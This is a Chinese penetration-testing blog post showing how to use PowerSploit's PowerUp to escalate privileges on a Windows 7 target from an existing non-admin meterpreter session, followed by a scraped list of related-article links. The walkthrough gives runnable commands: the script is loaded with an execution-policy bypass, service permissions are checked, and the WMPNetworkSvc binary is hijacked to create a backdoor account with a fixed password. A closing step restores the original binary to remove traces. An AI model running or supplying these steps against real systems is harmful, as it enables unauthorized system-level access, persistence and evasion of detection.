记录下PowerUp在实战渗透中的利用

准备环境:

kali linux 攻击机 已获得靶机meterpreter(非管理)权限

win7 靶机  拥有powershell环境

1)Invoke-Allchecks检查

首先上传powerup脚本至目标服务器

meterpreter > upload //var/www/html/PowerSploit/Privesc/PowerUp.ps1 c:\

首先设置下shell编码

chcp 

使用IEX在内存中加载此脚本,执行Invoke-AllChecks检查漏洞

powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('C:\PowerUp.ps1'); Invoke-AllChecks"

也可以在cmd环境导入模块绕过策略执行:

powershell.exe -exec bypass -Command "& {Import-Module c:\PowerUp.ps1; Invoke-AllChecks}"

可以看出,Powerup 列出了可能存在问题的所有服务,并在 AbuseFunction 中直接给出了利用方式。

第一部分通过 Get-ServiceUnquoted 模块(利用 windows 的一个逻辑漏洞,即当文件包含空格时,windows API 会解释为两个路径,并将这两个文件同时执行,有些时候可能会造成权限的提升)检测出了有 "Vulnerable Service"、"OmniServ"、"OmniServer"、"OmniServers" 四个服务存在此逻辑漏洞,但是都没有写入权限,所以并不能被我们利用来提权。第二部分通过 Test-ServiceDaclPermission 模块(检查所有可用的服务,并尝试对这些打开的服务进行修改,如果可修改,则存在此漏洞)检测出当前用户可以在 "OmniServers" 服务的目录写入相关联的可执行文件,并且通过这些文件来进行提权。

漏洞利用原理:Windows 系统服务文件在操作系统启动时会加载执行,并且在后台调用可执行文件。比如,JAVA 升级程序,每次重启系统时,JAVA 升级程序会检测 Oracle 网站,是否有新版 JAVA 程序。而类似 JAVA 程序之类的系统服务程序加载时往往都是运行在系统权限上的。所以如果一个低权限的用户对于此类系统服务调用的可执行文件具有可写的权限,那么就可以将其替换成我们的恶意可执行文件,从而随着系统启动服务而获得系统权限。

2)检测可写入权限

这里我们可以使用 icacls(Windows 内建的一个工具,用来检查对有漏洞目录是否有写入的权限)来验证下 PowerUp 脚本检测是否正确,我们先对于检测出来的漏洞目录进行权限的检测

检测此目录是否有可写入的权限

icacls "C:\Program Files\Windows Media Player\wmpnetwk.exe"

"Everyone" 用户对这个文件有完全控制权,就是说所有用户都具有全部权限修改这个文件夹。

参数说明:"M" 表示修改,"F" 代表完全控制,"CI" 代表从属容器将继承访问控制项,"OI" 代表从属文件将继承访问控制项。这意味着对该目录有读,写,删除其下的文件,删除该目录下的子目录的权限。

3)提升权限

在这里我们使用 AbuseFunction 那里已经给出的具体操作方式,执行如下命令操作,如下图所示。

powershell -nop -exec bypass IEX(New-Object Net.WebClient).DownloadString('c:/PowerUp.ps1');Install-ServiceBinary -ServiceName 'WMPNetworkSvc' -UserName qing -Password qing123! 

之后当管理员运行该服务的时候,则会添加我们的账号。

靶机关机重启

重启以后,系统会自动创建了一个新的用户 qing,密码是 qing123!

4)删除痕迹

powershell -nop -exec bypass IEX(New-Object Net.WebClient).DownloadString('c:/PowerUp.ps1');Restore-ServiceBinary -ServiceName 'WMPNetworkSvc' 

恢复

"C:\Program Files\Windows Media Player\wmpnetwk.exe.bak"

"C:\Program Files\Windows Media Player\wmpnetwk.exe"

l 移除备份二进制文件‘

"C:\Program Files\Windows Media Player\wmpnetwk.exe.bak"

PowerUp攻击渗透实战的更多相关文章

  1. POWERUP攻击渗透实战2

    准备环境: kali linux 攻击机 已获得靶机meterpreter(非管理)权限 win7 靶机  拥有powershell环境 运用到的模块:Get-RegistryAlwaysInstal ...

  2. PowerUp攻击模块实战

    PowerUp攻击模块实战   1.将PowerUp.ps1脚本上传至目标服务器,然后在本地执行 2.使用IEX在内存中加载此脚本,执行以下命令,脚本将进行所有的检查. powershell.exe ...

  3. 【渗透实战】记一次艰难的内网漫游第四期_蹭我WIFI?看我如何利用组合拳日进蹭网者内网

    /文章作者:Kali_MG1937 CSDN博客ID:ALDYS4 QQ:3496925334/ 内网漫游系列第三期:[渗透实战]记一次艰难的内网漫游第三期_我是如何利用APT攻击拿到内网最高权限的 ...

  4. (转)网站DDOS攻击防护实战老男孩经验心得分享

    网站DDOS攻击防护实战老男孩经验心得分享 原文:http://blog.51cto.com/oldboy/845349

  5. Raven1渗透实战

    Raven1渗透实战 目录: 1.wordpress爆破用户 2.wp-config得到数据库账号密码 3.ssh连接4.pythn提权(sudo python -c 'import pty;pty. ...

  6. 【渗透实战】那些奇葩的WAF_第二期_无意发现通杀漏洞,空字节突破上传!

    /文章作者:Kali_MG1937 CSDN博客号:ALDYS4 QQ:3496925334 未经许可,禁止转载/ 该博文为本人18年左右的渗透记录,文法粗糙,技术含量极低,流水账文章,且今日不知为何 ...

  7. 渗透实战(周三):Ettercap·ARP毒化&MITM中间人攻击

    今天,我们来讲解如何对小型Wi-Fi局域网发动网络攻击

  8. PowerSploit-CodeExecution(代码执行)脚本渗透实战

    首先介绍一下国外大牛制作的Powershell渗透工具PowerSploit,上面有很多powershell攻击脚本,它们主要被用来渗透中的信息侦察.权限提升.权限维持. 项目地址:https://g ...

  9. windows域渗透实战

    测试环境 域控: 192.168.211.130 已经控制的机器: 192.168.211.133 获取网络信息 查看机器的网络信息 ipconfig /all # 查看 网卡信息,获取dns 服务器 ...

随机推荐

  1. java静态代码块/静态属性、构造块、构造方法执行、main方法、普通代码块的顺序

    java静态代码块/静态属性.构造块.构造方法执行.main方法.普通代码块的顺序 这也是在笔试中的一个重要的考点,就有一个输出语句让你写出输出的结果. 理论知识: 静态代码块是:属于类的,在类加载时 ...

  2. ubuntu连接window系统

    最后可以通过次命令挂载本地文件夹到远程电脑: rdesktop -a 24 -f -r disk:share-name=/home/lion/.m2/ 192.168.151.232

  3. JWT简明介绍

    JSON Web Token一种数据格式,用来表示Token.具有可扩展.防篡改.能够在URL中安全传输的特性,已经形成标准,定义在rfc7519. JSON Web Token (JWT) is a ...

  4. JAVA WEB中的Servlet过滤器

    实现一个Servlet过滤器,可以对用户登录情况进行控制.要求如下: 1)访问路径是admin下的资源,需要登录,如果用户没有登录,自动转向用户登录页面.用户登录成功后,再次访问admin下的资源不需 ...

  5. 上手Dubbo之 环境搭建

    和传统ssm整合--写XML配置文件 搭建服务的提供者和服务的消费者,实现服务消费者跨应用远程调用服务提供者 公共模块抽取 公共模块的抽取 服务的消费者远程调用服务的提供者, 最起码他自己要得到在服务 ...

  6. charles 外部代理设置

    本文参考:charles 外部代理设置 external proxy 外部代理设置 有时候您可能需要使用网络上的代理服务器才能访问Internet. 在这种情况下,您需要为Charles配置外部代理. ...

  7. select2获取选中的val和text

    用自己起的id就可以 获取val:$("#id").val() 获取text:$("#id").select2("data")[0].tex ...

  8. selenium退出语句区别

    selenium关闭窗口有两个方法,close与quit,我们稍作研究便知道这两个方法的区别. 1.看源码或API 这是close()的说明: Closes the current window. 关 ...

  9. Linux 伪终端(pty)

    通过<Linux 终端(TTY)>一文我们了解到:我们常说的终端分为终端 tty1-6 和伪终端.使用 tty1-6 的情况一般为 Linux 系统直接连了键盘和显示器,或者是使用了 vS ...

  10. 基于操作系统的Linux网络参数的配置

    一.实验目的 1.掌握Linux下网络参数的查看方法并理解网络参数的含义. 2.掌握Linux下网络参数的配置 二.实验内容 1.查看当前网络配置的参数. 2.在Linux主机中将网络参数按以下要求设 ...